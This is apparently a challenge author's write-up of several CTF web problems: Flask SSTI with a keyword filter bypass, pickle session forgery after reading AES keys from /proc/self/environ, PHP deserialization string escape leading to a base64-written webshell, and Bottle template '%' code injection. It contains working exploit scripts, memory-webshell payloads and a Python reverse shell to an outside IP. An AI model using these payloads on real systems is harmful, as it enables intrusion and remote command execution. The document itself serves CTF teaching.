给非预期烂了,先对各位师傅说个抱歉(难受)

upload?SSTI!

这题我是直接给出了源码。
写了个文件上传和文件读取的逻辑。

我们看文件读取的函数就可以发现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
@app.route('/file/<path:filename>')
def view_file(filename):
try:
# 1. 过滤文件名
safe_filename = secure_filename(filename)
if not safe_filename:
abort(400, description="无效文件名")

# 2. 构造完整路径
file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)

# 3. 路径安全检查
if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
abort(403, description="禁止访问的路径")

# 4. 检查文件是否存在
if not os.path.isfile(file_path):
abort(404, description="文件不存在")

suffix=os.path.splitext(filename)[1]
print(suffix)
if suffix==".jpg" or suffix==".png" or suffix==".gif":
return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')

if contains_dangerous_keywords(file_path):
# 删除不安全的文件
os.remove(file_path)
return jsonify({"error": "Waf!!!!"}), 400

with open(file_path, 'rb') as f:
file_data = f.read().decode('utf-8')
tmp_str = """<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>查看文件内容</title>
</head>
<body>
<h1>文件内容:{name}</h1> <!-- 显示文件名 -->
<pre>{data}</pre> <!-- 显示文件内容 -->

<footer>
<p>&copy; 2025 文件查看器</p>
</footer>
</body>
</html>
""".format(name=safe_filename, data=file_data)

return render_template_string(tmp_str)

except Exception as e:
app.logger.error(f"文件查看失败: {str(e)}")
abort(500, description="文件查看失败:{} ".format(str(e)))

代码是直接将文件内容读取出来然后拼接到模板中,然后利用render_template_string来直接渲染模板,这就很明显存在一个ssti的漏洞

对文件读取的内容有一个简单的检测。

1
2
3
4
5
6
7
8
9
10
11
12
def contains_dangerous_keywords(file_path):
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

with open(file_path, 'rb') as f:
file_content = str(f.read())


for keyword in dangerous_keywords:
if keyword in file_content:
return True # 找到危险关键字,返回 True

return False # 文件内容中没有危险关键字

且如果是文本经拼接到tmp_str中如果是,照片就直接返回。所以我们要上传文本文件

waf很好绕,编码,request啥的都行

1
2
3
{{""[request.args.x1][request.args.x2][0][request.args.x3]()[137][request.args.x4][request.args.x5]['popen']('cat /f*').read()}}

?x1=__class__&x2=__bases__&x3=__subclasses__&x4=__init__&&x5=__globals__

ezzzz_pickle

首先是一个弱口令 admin/admin123

抓个包

尝试一下任意文件读取

flag无法直接读到
读一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os

app = Flask(__name__)


def generate_key_iv():
key = os.environ.get('SECRET_key').encode()
iv = os.environ.get('SECRET_iv').encode()
return key, iv


# AES 加密和解密函数(一个函数处理加密和解密)
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
# 创建加密器/解密器
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

if mode == 'encrypt':
encryptor = cipher.encryptor()
# 数据填充,确保数据的长度是 AES 块大小的倍数
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode() # 返回加密后的数据(Base64编码)

elif mode == 'decrypt':
decryptor = cipher.decryptor()
# 解密数据
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
# 去除填充
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()

users = {
"admin": "admin123",
}

def create_session(username):

session_data = {
"username": username,
"expires": time.time() + 3600 # 1小时过期
}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')

key,iv=generate_key_iv()
session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')


return session

def dowload_file(filename):
path=os.path.join("static",filename)
with open(path, 'rb') as f:
data=f.read().decode('utf-8')
return data
def validate_session(cookie):

try:
key, iv = generate_key_iv()
pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
pickled_data=base64.b64decode(pickled)

# 反序列化数据
session_data = pickle.loads(pickled_data)
if session_data["username"] !="admin":
return False
# 检查过期时间
return session_data if session_data["expires"] > time.time() else False
except:
return False

@app.route("/",methods=['GET','POST'])
def index():

if "session" in request.cookies:
session = validate_session(request.cookies["session"])
if session:
data=""
filename=request.args.get("filename")
if(filename):
data=dowload_file(filename)
return render_template("index.html",name=session['username'],file_data=data)

return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():

if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
# 验证凭据(实际应比较密码哈希)
if users.get(username) == password:
resp = make_response(redirect("/"))
# 创建并设置会话Cookie
resp.set_cookie("session", create_session(username))
return resp
return render_template("login.html",error="Invalid username or password")

return render_template("login.html")


@app.route("/logout")
def logout():
resp = make_response(redirect("/login"))
resp.delete_cookie("session")
return resp

if __name__ == "__main__":
app.run(host="0.0.0.0",debug=False)

通过源码可以发现其session是通过pickle 序列化字典然后base64编码再AES加密在编码的结果,验证用户时session解码的过程也是base64解码AES解码base64解码pickle反序列化。那么我们只要能够获得这个加解密的key和iv就可以伪造出session从而控制pickle反序列化的内容,进行命令执行。

而key和iv是从环境变量里读出来的。我们可以读取/proc/self/environ来得到key和iv。

进而命令执行。因为无回显我们可以直接打内存马,或者弹shell或者写文件

使用如下exp打入内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import os
import requests
import pickle
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()

elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()

class A():
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('shell')).read()",))
def exp(url):
a = A()
pickled = pickle.dumps(a)
print(pickled)
key = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"
iv = b"asdwdggiouewhgpw"

pickled_data = base64.b64encode(pickled).decode('utf-8')

payload=aes_encrypt_decrypt(pickled_data,key,iv,mode='encrypt')
print(payload)
Cookie={"session":payload}
request = requests.post(url,cookies=Cookie)
print(request)

if __name__ == '__main__':
url="http://node2.anna.nssctf.cn:28942/"
exp(url)

Escape!

我们通过源码可以看到在dashboard.php中有一个文件写入的操作,我们只要绕过exit就可以进行命令执行,这里我们可以使用php://filter/convert.base64-decode来进行base64绕过

1
filename=php://filter/convert.base64-decode/resource=/var/www/html/1.php&txt=aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==

但是这个文件写入操作需要用户为admin。我们看一下逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function checkSignedCookie($cookieName = 'user_token', $secretKey = 'fake_secretkey') {
// 获取 Cookie 内容
if (isset($_COOKIE[$cookieName])) {
$token = $_COOKIE[$cookieName];

// 解码并分割数据和签名
$decodedToken = base64_decode($token);
list($serializedData, $providedSignature) = explode('|', $decodedToken);

// 重新计算签名
$calculatedSignature = hash_hmac('sha256', $serializedData, $secretKey);

// 比较签名是否一致
if ($calculatedSignature === $providedSignature) {
// 签名验证通过,返回序列化的数据
return $serializedData; // 反序列化数据
} else {
// 签名验证失败
return false;
}
}
return false; // 如果没有 Cookie
}

// 示例:验证并读取 Cookie
$userData = checkSignedCookie();
if ($userData) {
#echo $userData;
$user=unserialize($userData);
#var_dump($user);
if($user->isadmin){

可以知道
首先是获得session然后解密,将解密内容进行反序列话,然后调用反序列化实例的isadmin方法。首先我们不知道密钥值是多少所以无法直接通过伪造sseion来伪造admin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function login($db,$username,$password)
{
$data=$db->query("SELECT * FROM users WHERE username = ?",[$username]);

if(empty($data)){
die("<script>alert('用户不存在')</script><script>window.location.href = 'index.html'</script>");
}
if($data[0]['password']!==md5($password)){
die("<script>alert('密码错误')</script><script>window.location.href = 'index.html'</script>");
}
if($data[0]['username']==='admin') {
$user = new User($username, true);
}
else{
$user = new User($username, false);
}
return $user;
}

function setSignedCookie($serializedData, $cookieName = 'user_token', $secretKey = 'fake_secretKey') {
$signature = hash_hmac('sha256', $serializedData, $secretKey);

$token = base64_encode($serializedData . '|' . $signature);

setcookie($cookieName, $token, time() + 3600, "/"); // 设置有效期为1小时
}

$User=login($SQL,$username,$password);

$User_ser=waf(serialize($User));

setSignedCookie($User_ser);

我们看一下login的逻辑,可以发现其login函数返回的是一个User类,然后将这个类进行序列化后用waf检测一下之后使用setSignedCookie进行加密。

1
2
3
4
5
6
7
8
9
10
function waf($c)
{
$lists=["flag","'","\\","sleep","and","||","&&","select","union"];
foreach($lists as $list){
$c=str_replace($list,"error",$c);
}
#echo $c;
return $c;
}


而waf函数是对关键字进行替换,这就导致了序列化的字符数量发生了改变,从而导致了字符串逃逸。

我们想要伪造的其实是类似于如下的序列化字符,用户名无所谓,但是isadmin要为true

1
O:4:"User":2:{s:8:"username";s:5:"asdwd";s:7:"isadmin";b:1;}

那么我们输入的username就应该是xxxxxx”;s:7:”isadmin”;b:1;}。前面的xxxxx经过waf后会变多21个从而把后面的";s:7:"isadmin";b:1;}逃逸出去
那么xxxx就可以是flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag。21个flag会被替换成21个error。

反序列化逃逸的具体原理可以看我以前学习的文章php反序列化之字符串逃逸

那么思路就很清晰了,我们注册一个字符串逃逸伪造admin的用户名如下

1
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:7:"isadmin";b:1;}

然后用这个用户名登陆,就可以成功伪造admin,然后就是文件写入命令执行

exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
def exp(url):
data={"username":'flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:7:"isadmin";b:1;}',"password":"123456"}
r=requests.post(url+"register.php",data=data)
#print(r.text)

session = requests.Session()
login_response = session.post(url+"login.php", data=data)

shell={"filename":"php://filter/convert.base64-decode/resource=/var/www/html/shell.php","txt":"aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg=="}
protected_response = session.post(url+"dashboard.php",data=shell)
response = requests.post(url+"shell.php",data={"123":"system('cat /flag');"})
print(response.text)

if __name__=="__main__":
url="http://node2.anna.nssctf.cn:28932/"
exp(url)

Message in a Bottle

这道题目其实是我之前在打VN时想到的一个非预期,看了一下好像没用几个师傅和我做法一样我就干脆把这个思路出成题来给师傅们做一下。

首先我们可以看到其是一个渲染的模板

直接将我们输入的message进行拼接,其waf只过滤了{这时候有不少师傅被误导以为这题要打xss了其实不然。

我们看bottle框架的官方文档可以发现

在SimpleTemplate模板下我们可以使用%来执行python代码。
这样就可以绕过{了,但是我们的%所在的那一行%的前面只能有空白字符,我们直接换行即可
payload

弹shell

1
2
3

%__import__('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"111.xxx.xxx.xxx\",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'").read()

内存马

网上关于bottle框架内存马的文章其实已经有了探寻Bottle框架内存马
我们只要简单改一下,获取一下app就可以在这题使用

1
2
3
4
5

% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('lalala')).read())

Message in a Bottle plus

上面那道题目因为是白盒而且,因为我之前并不知道这次的GHCTF会办公开赛所以难度并没有出的太高。

所以就有了这题,但其实也没加多少东西(怕加太多被师傅们骂)所以就加了个waf和语法检测

先给师傅们看看waf和语法检测的逻辑吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
def waf(message):
# 保留原有基础过滤
filtered = message.replace("{", "").replace("}", "").replace(">", "").replace("<", "")

# 预处理混淆特征
cleaned = re.sub(r'[\'"`\\]', '', filtered) # 清除引号和反斜杠
cleaned = re.sub(r'/\*.*?\*/', '', cleaned) # 去除注释干扰

# 增强型sleep检测正则(覆盖50+种变形)
sleep_pattern = r'''(?xi)
(
# 基础关键词变形检测
\b
s[\s\-_]*l[\s\-_]*e[\s\-_]*e[\s\-_]*p+ # 允许分隔符:s-l-e-e-p
| s(?:l3|1|i)(?:3|e)(?:3|e)p # 字符替换:sl33p/s1eep
| (?:sl+e+p|slee+p|sle{2,}p) # 重复字符:sleeeeep
| (?:s+|5+)(?:l+|1+)(?:e+|3+){2}(?:p+|9+) # 全替换变体:5l33p9

# 模块调用检测(含动态导入)
| (?:time|os|subprocess|ctypes|signal)\s*\.\s*(?:sleep|system|wait)\s*\(.*?\)
| __import__\s*\(\s*[\'"](?:time|os)[\'"]\s*\)\.\s*\w+\s*\(.*?\)
| getattr\s*\(\s*\w+\s*,\s*[\'"]sleep[\'"]\s*\)\s*\(.*?\)

# 编码检测(Hex/Base64/URL/Unicode)
| (?:\\x73|%73|%u0073)(?:\\x6c|%6c|%u006c)(?:\\x65|%65|%u0065){2}(?:\\x70|%70|%u0070) # HEX/URL编码
| YWZ0ZXI=.*?(?:c2xlZXA=|czNlM3A=) # Base64多层编码匹配(sleep的常见编码)
| %s(l|1)(e|3){2}p% # 混合编码

# 动态执行检测(修复括号闭合)
| (?:eval|exec|compile)\s*\(.*?(?:sl(?:ee|3{2})p|['"]\\x73\\x6c\\x65\\x65\\x70).*?\)

# 系统调用检测(Linux/Windows)
| /bin/(?:sleep|sh)\b
| (?:cmd\.exe\s+/c|powershell)\s+.*?(?:Start-Sleep|timeout)\b

# 混淆写法
| s\/leep\b # 路径混淆
| s\.\*leep # 通配符干扰
| s<!--leep # 注释干扰
| s\0leep # 空字节干扰
| base64
| base32
| decode
| \+
)
'''



if re.search(sleep_pattern, cleaned):
return "检测到非法时间操作!"
if re.search('eval', cleaned):
return "eval会让我报错"

# AST语法树检测增强
class SleepDetector(ast.NodeVisitor):
def visit_Call(self, node):
if hasattr(node.func, 'id') and 'sleep' in node.func.id.lower():
raise ValueError

if isinstance(node.func, ast.Attribute):
if node.func.attr == 'sleep' and \
isinstance(node.func.value, ast.Name) and \
node.func.value.id in ('time', 'os'):
raise ValueError

self.generic_visit(node)

try:
tree = ast.parse(filtered)
SleepDetector().visit(tree)
except (SyntaxError, ValueError):
return "检测某种语法错误,防留言板报错系统启动"

return filtered

虽然前面的黑名单横很长但是因为我是让ai给我写的黑名单,我测了一下发现,啥也防不住。如果不是后面简单自己加了点关键字师傅们靠拼接都能绕过去。这个waf也主要是为了防止师傅们盲注,但是如果愿意绕还是能绕的。

白名单之后其实就加了一些AST的语法检测。在我们语法报错的时候会变量替换

当我们还按照上题的思路来打的时候

1
2
3

% print(1)

其就会触发语法错误。因为在python里%print这本身就是一个错误的语法,为了让他可以通过语法检测然而语法检测这种东西肯定针对的是代码,那么我们将他变成字符串就可以了。

所以用引号包裹就可以绕过ast的检测

1
2
3
'''
% print(1)
'''

可以发现没有语法报错%print(1)也消失了,证明被模板引擎当成了python代码。

但是这个环境是不出网的所以我们需要使用内存马。这就是为什么我要在前面的waf拦sleep(但好像还是可以轻松绕过)

1
2
3
4
5
'''
% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('lalala')).read())
'''

打内存马的poc如下

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
def exp(url):
payload="""
'''
% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('lalala')).read())
'''
"""
data = {"message":payload}
print(payload)
re=requests.post(url+"submit",data=data)
print(re.text)
if __name__=="__main__":
url="http://node4.anna.nssctf.cn:28619/"
exp(url)